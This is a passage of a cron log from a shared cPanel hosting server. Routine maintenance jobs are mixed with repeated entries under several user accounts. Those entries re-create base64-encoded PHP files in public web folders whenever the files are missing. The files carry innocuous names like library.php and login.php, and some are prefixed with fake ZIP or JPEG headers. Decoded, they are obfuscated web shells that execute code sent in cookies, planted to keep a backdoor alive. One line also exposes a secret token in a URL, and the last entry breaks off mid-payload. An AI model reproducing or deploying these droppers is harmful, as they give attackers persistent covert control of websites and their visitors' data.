Apr 19 04:09:01 medusa CROND[3903]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:09:01 medusa CROND[3902]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:09:01 medusa CROND[3905]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:09:01 medusa CROND[3906]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:09:01 medusa CROND[3907]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:09:01 medusa CROND[3908]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:09:01 medusa CROND[3913]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:10:01 medusa CROND[27036]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:10:01 medusa CROND[27076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:10:02 medusa CROND[27176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 04:10:02 medusa CROND[27177]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27178]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:10:02 medusa CROND[27179]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:10:02 medusa CROND[27180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:10:02 medusa CROND[27181]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:10:02 medusa CROND[27182]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27183]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:10:02 medusa CROND[27187]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27190]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:10:02 medusa CROND[27197]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:10:02 medusa CROND[27195]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27199]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 04:10:02 medusa CROND[27186]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:10:02 medusa CROND[27205]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:10:02 medusa CROND[27214]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:10:02 medusa CROND[27215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27219]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:10:02 medusa CROND[27223]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 04:10:02 medusa CROND[27224]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:10:02 medusa CROND[27225]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:10:02 medusa CROND[27227]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:10:02 medusa CROND[27231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27218]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:10:02 medusa CROND[27235]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:11:01 medusa CROND[18427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:11:01 medusa CROND[18458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:11:01 medusa CROND[18536]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:11:01 medusa CROND[18538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:11:01 medusa CROND[18539]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:11:01 medusa CROND[18541]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRf